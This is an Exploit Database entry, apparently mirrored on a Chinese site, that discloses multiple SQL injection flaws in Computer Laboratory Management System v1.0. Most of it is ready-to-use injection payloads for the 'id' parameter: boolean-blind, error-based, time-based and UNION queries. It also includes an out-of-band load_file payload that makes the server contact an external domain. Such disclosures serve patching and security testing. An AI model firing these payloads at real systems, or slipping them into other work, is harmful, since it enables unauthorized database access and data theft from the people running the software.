Computer Laboratory Management System v1.0 – Multiple-SQLi

• Exploit Database
• 13 阅读

• 作者： nu11secur1ty
  日期： 2024-04-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51965/

• # Title: Computer Laboratory Management System v1.0 - Multiple-SQLi
  # Author: nu11secur1ty
  # Date: 03/28/2024
  # Vendor: https://github.com/oretnom23
  # Software: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html#comment-104400
  # Reference: https://portswigger.net/web-security/sql-injection
  
  # Description:
  The id parameter appears to be vulnerable to SQL injection attacks.
  The payload '+(select
  load_file('\\\\95ctkydmc3d4ykhxxtph7p6xgomiagy71vsij68.tupgus.com\\mpk'))+'
  was submitted in the id parameter. This payload injects a SQL
  sub-query that calls MySQL's load_file function with a UNC file path
  that references a URL on an external domain. The application
  interacted with that domain, indicating that the injected SQL query
  was executed. The attacker can get all information from the system by
  using this vulnerability!
  
  STATUS: HIGH- Vulnerability
  
  [+]Payload:
  ```mysql
  ---
  Parameter: id (GET)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
  or GROUP BY clause
  Payload: page=user/manage_user&id=7''' RLIKE (SELECT (CASE WHEN
  (2375=2375) THEN 0x372727 ELSE 0x28 END)) AND 'fkKl'='fkKl
  
  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
  GROUP BY clause (FLOOR)
  Payload: page=user/manage_user&id=7''' AND (SELECT 1734
  FROM(SELECT COUNT(*),CONCAT(0x716a707071,(SELECT
  (ELT(1734=1734,1))),0x71717a7871,FLOOR(RAND(0)*2))x FROM
  INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CYrv'='CYrv
  
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: page=user/manage_user&id=7''' AND (SELECT 6760 FROM
  (SELECT(SLEEP(7)))iMBe) AND 'xzwU'='xzwU
  
  Type: UNION query
  Title: MySQL UNION query (NULL) - 11 columns
  Payload: page=user/manage_user&id=-2854' UNION ALL SELECT
  NULL,NULL,NULL,NULL,CONCAT(0x716a707071,0x6675797766656155594373736b724a5a6875526f6f65684562486c48664e4d624f75766b4a444b43,0x71717a7871),NULL,NULL,NULL,NULL,NULL,NULL#
  ---